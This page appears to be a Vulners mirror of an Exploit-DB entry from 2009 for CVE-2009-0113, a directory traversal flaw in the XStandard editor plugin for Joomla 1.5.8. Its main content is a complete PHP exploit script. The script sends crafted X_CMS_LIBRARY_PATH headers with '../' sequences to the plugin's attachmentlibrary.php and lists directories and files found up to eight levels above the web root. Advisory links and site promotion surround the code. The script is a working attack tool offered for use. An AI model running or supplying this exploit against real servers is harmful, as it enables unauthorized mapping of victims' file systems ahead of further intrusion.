Lucene search
+L

Joomla! Component xstandard editor 1.5.8 - Local Directory Traversal

🗓️ 07 Jan 2009 00:00:00Reported by irk4zType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 64 Views

Joomla xstandard editor 1.5.8 Local Directory Traversal Vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2009-0113
7 Jan 200900:00
circl
checkpoint_advisories
Check Point Advisories
Update Protection against Joomla! "X_CMS_LIBRARY_PATH" Directory Traversal Vulnerability
15 Jan 200900:00
checkpoint_advisories
cve
CVE
CVE-2009-0113
9 Jan 200918:00
cve
cvelist
Cvelist
CVE-2009-0113
9 Jan 200918:00
cvelist
euvd
EUVD
EUVD-2009-0122
7 Oct 202500:30
euvd
nessus
Tenable Nessus
XStandard Lite Plugin for Joomla! X_CMS_LIBRARY_PATH Header Directory Traversal
8 Jan 200900:00
nessus
nvd
NVD
CVE-2009-0113
9 Jan 200918:30
nvd
prion
Prion
Directory traversal
9 Jan 200918:30
prion
<?php
/*
 Joomla <= 1.5.8 (xstandard editor) Local Directory Traversal Vulnerability

 discovered by: irk4z[at]yahoo.pl
 greets: all friends ;)
*/

echo "* Joomla <= 1.5.8 (xstandard editor) Local Directory Traversal Vuln\n";
echo "* discovered by: irk4z[at]yahoo.pl\n";
echo "*\n";
echo "* greets: all friends ;) enjoy!\n";
echo "*------------------------------------------------------------------*\n";

$host = $argv[1];
$path = $argv[2];
$folder = $argv[3];

if (empty($host) || empty($path)) {
	echo "usage: php {$argv[0]} <host> <path> [<folder>]\n";
	echo "       php {$argv[0]} example.org /joomla\n";
	echo "       php {$argv[0]} example.org /joomla ../../\n";
	exit;
}

echo "http://" . $host . $path . "/images/stories/\n\n";

if ( empty($folder) ){
	$lev = "./";
	for( $i = 0; $i <= 7; $i++ ) {
		echo browseFolder($host, $path, $lev);
		$lev .= "../";
	}
} else {
	echo browseFolder($host, $path, $folder);
}

function browseFolder($host, $path, $folder){

	$packet = "GET {$path}/plugins/editors/xstandard/attachmentlibrary.php HTTP/1.1\r\n";
	$packet .= "Host: {$host}\r\n";
	$packet .= "X_CMS_LIBRARY_PATH: {$folder}\r\n";
	$packet .= "Connection: Close\r\n\r\n";

	$o = @fsockopen($host, 80);
	if(!$o){
		echo "\n[x] No response...\n";
		die;
	}

	fputs($o, $packet);
	while (!feof($o)) $data .= fread($o, 1024);
	fclose($o);

	$_404 = strstr( $data, "HTTP/1.1 404 Not Found" );
	if ( !empty($_404) ){
		echo "\n[x] 404 Not Found... Maybe wrong path? \n";
		die;
	}

	//folders
	preg_match_all("/<baseURL>([^<]+)<\/baseURL>/", $data, $matches);
	//files
	preg_match_all("/<value>([^<]+\.[^<]{3,4})<\/value>/", $data, $matches2);

	$matches = array_merge( $matches[1], $matches2[1] );

	if ( empty($matches) ){
		$ret = "$folder [x] Failed...\n";
	} else {
		$ret = '';
		foreach( $matches as $tmp){
			$ret .= str_replace("images/stories/", '', str_replace("/./", "/", str_replace("//", "/", urldecode($tmp) ) ) ) . "\n";
		}
	}

	return ($ret);
}

?>

# milw0rm.com [2009-01-07]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Jan 2009 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 25
EPSS0.06577
64